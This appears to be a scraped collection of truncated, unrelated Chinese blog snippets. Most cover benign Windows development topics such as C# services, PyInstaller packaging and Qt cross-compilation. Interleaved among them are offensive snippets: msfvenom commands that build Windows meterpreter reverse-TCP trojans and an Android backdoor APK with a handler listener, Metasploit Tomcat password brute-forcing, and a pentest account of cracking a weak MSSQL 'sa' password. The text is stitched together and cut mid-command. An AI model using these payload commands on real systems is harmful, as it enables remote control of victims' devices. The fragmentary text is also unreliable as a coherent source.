一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使用Ruby开发的,使用非常方便,进入该工具的方式:msfconsole ,MSF依赖于Postgresql数据库,在使用MSF之前要开启数据库. 二.步骤: Step1:生成木马,msfvenom msfvenom -p windows/meterpreter/reverse_tcp lhost=K

kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom之后会显示出它的基本参数 在这里我们没有设置参数,所以第一行出现了一个错误 这里我们主要讲windows下payloads的生成和利用,在第五行里面我们看到已经给出了一个生成payload的例子,这个例子生成的就是windwos下的木马 即: Example: /usr/bin/msfvenom -

一.  概述 Visual C# 工程中选取 Windows 服务(Windows Service)选项,可以创建Windows服务程序,这种开发方式对于开发来说不方便调试,今天介绍另外一种生成Windows服务方法就是使用Topshelf 官方地址:http://topshelf-project.com/ 代码托管: http://github.com/topshelf/Topshelf/downloads可以在这里下载到最新的代码. 二 . 使用方法 1.添加引用 新建一个项目添加Topsh

c# 开发windows服务程序. 一个简单的服务程序示例. 归纳了几点.有不足之处,请赐教. 一.创建服务程序 1. 菜单栏“文件”--->“新建”--->“项目”,在项目类型中选择“windows”,模板中--->“windows 服务”.项目名称任意起. 新项目中会创建 Program.cs , Service1.cs及其他的文件或文件夹 2. 编写程序 略.二.添加服务应用程序 1. 在解决方案中,打开要向其中添加安装组件的服务的Design视图.(双击Service1.cs即可

本文不介绍 Sphinx 的用法,只简要罗列 Windows 下生成 .chm 文件的步骤. 0. 首先检查机器是否安装了 HTML Help Workshop 软件,一般安装路径应该是 C:\Program Files (x86)\HTML Help Workshop\hhw.exe 如果没有安装,下载安装包 htmlhelp.exe 双击安装即可,地址为 https://msdn.microsoft.com/en-us/library/ms669985 1. 编译输出文件时,使用命令:  m

1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > android_backdoor.apk ip填写自己的内网ip ,端口自定 启动  msfconsole 依次输入下面的命令 use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.8.

1. 新建一个项目,或者从选择当前解决方案--右键-添加--新建项目 2. 选择Visual C#项目-->Windows 服务,填写要创建的服务名称(修改默认的WindowService1成为你自己的服务名称),然后按确定按钮. 3. 资源管理器中默认创建一个WindowsService1的项目,项目下包括一个Service1.cs文件 (左侧选择"工具箱"--"组件",拖动一个Timer对象到Service1.cs [设计]这个页面窗体上.点击窗体上的Ti

最近要使用Qt写一个简单的GUI程序,因此使用了PyQt5来加快开发,使用PyQt5生成可执行的程序时,在Windows操作系统下可以使用pyinstaller库将.py文件及其相关依赖生成为.exe文件,在Linux系统下可以使用ldd工具来生成,后续会简单试一下,试下Qt强大的跨平台能力. 1 首先,使用pip安装PyInstaller 打开cmd,输入命令: pip install PyInstaller安装完成后,打印输出如下: 2.制作一个简单的GUI程序 3 使用PyInstalle

环境 python3.6.5 pyinstaller3.5 windows 10 下载地址 python:https://www.python.org/ftp/python/3.6.5/python-3.6.5-amd64.exe pyinstaller:http://www.pyinstaller.org pyinstaller可以用pip进行在线安装:pip install pyinstaller 如果出现如下的界面即为安装成功: 准备脚本 这里我以我自己写的生成短链接脚本为例,如下为脚本具

此处以虚拟机镜像快捷方式为例 link_filepath:快捷方式的生成路径 win32_cmd:需要执行的应用程序 arg_str:exe的参数 快捷方式的目标:由win32_cmd + arg_str组成 icon_location:快捷方式的图标位置(默认为ico) working_directory:快捷方式的起始位置 import pythoncom, winshell def generate_shortcut(shortcut_name): """ 生成快捷方式

Qt跨平台,那必须在Linux平台编译一个可以在windows下运行的Qt程序才行,当然还得和QtCreator环境弄在一起才行. 工作环境:Centos 7 yum install qt5-qt* ming32-qt5-qt* ming64-qt5-qt* # 安装所有Qt的包 yum install qt-creator # 安装qtcreator   以mingw64为例 打开QtCreator,options=> Build & Run => Qt Versions =>

from:http://xiaomijsj.blog.163.com/blog/static/89685520135854036206/ 针对项目中windows server machine 不断重启的问题,进行了许多方面修正的尝试: 第一是查系统日志,确定了重启的原因是系统自动更新而引起的,所以暂时把系统更新关闭了.然而考虑到未知的不确定因素导致server重启,考虑将node程序做成windows 的默认service.在系统重启的时候server会自动启动. node.js有一个plug

Qt跨平台,那必须在Linux平台编译一个可以在windows下运行的Qt程序才行,当然还得和QtCreator环境弄在一起才行 工作环境:Centos 7 yum install qt5-qt* ming32-qt5-qt* ming64-qt5-qt*       # 安装所有Qt的包 yum install qt-creator            # 安装qtcreator 以mingw64为例 打开QtCreator,options=> Build & Run => Qt

mex -setup:设置 C 语言编译器:(如果本地安装有 visual studio 20xx 集成开发环境,则会自动选择其下的 C/C++ 编译器 ) 将运行时环境(runtime environment)所需要的动态链接库(.dll)添加进系统环境变量(Path)(如果未设置该环境变量,则在执行编译好的可执行文件时,可能会提示Could not find version x.x of the MATLAB runtime. Attempting to load mclmcrrtx_x.d

1.安装 pip install pyinstaller 2.检查 pyinstaller --version 3.参数说明 pyinstaller -w -F python.py -i img.ico -w 去掉控制台窗口 -F 表示生成单个可执行文件 -i 表示可执行文件的图标

1.需要安装pywin32 先查看自己有没有安装:使用如下命令查看 pip show pywin32 如果没有则用下面方式进行安装: pip install pywin32 然后等待安装完成: 2.再次需要安装pyinstaller -->同样先看下是否已经安装了 pip show pyinstaller 等待安装成功 3.完成后进行打包,命令如下: pyinstaller -F saveExcel.py 参数说明:  -F:生成单个文件   -w : 是去掉命令行窗口     生成b.exe文

输入 chcp 65001

#!/bin/bash #获取参数 while getopts "n:" opt; do case $opt in n) client_name=$OPTARG ;; \?) ;; esac done cd /usr/share/doc/openvpn-2.2.2/easy-rsa/2.0 source ./vars ./build-key $client_name cd /home/openvpn cp /usr/share/doc/openvpn-2.2.2/easy-rsa/2.

# 0x00 前言 最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始··· # 0x01 弱口令 对目标ip进行端口扫描,开放端口为80,445,1433,3389- 访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果- 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果- 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa- 同时对3389端口进行爆破,无果 因此确定了突破口,使用navicat成功连接

msf关于tomcat口令暴力猜解模块 use auxiliary/scanner/http/tomcat_mgr_login show options set rhosts 192.168.2.147 set RPORT 8080 run 注意:tomcat默认每个账号登陆5次失败后,账户就会被锁定 msf建立windows反弹shell 1.生成windows反弹shell msfconsle msfvenom -p windows/meterpreter/reverse_tcp LHOST

个人博客地址:点我 DC系列共9个靶场,本次来试玩一下一个 DC-5,只有一个flag,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题.靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别. IP DC-5: 192.168.31.107 Kali: 192.168.31.18 Win7: 192.168.31.168 信息搜集 首先是主机发现,得到靶机ip arp-scan -l 对其进行端口扫描,开放了80.111.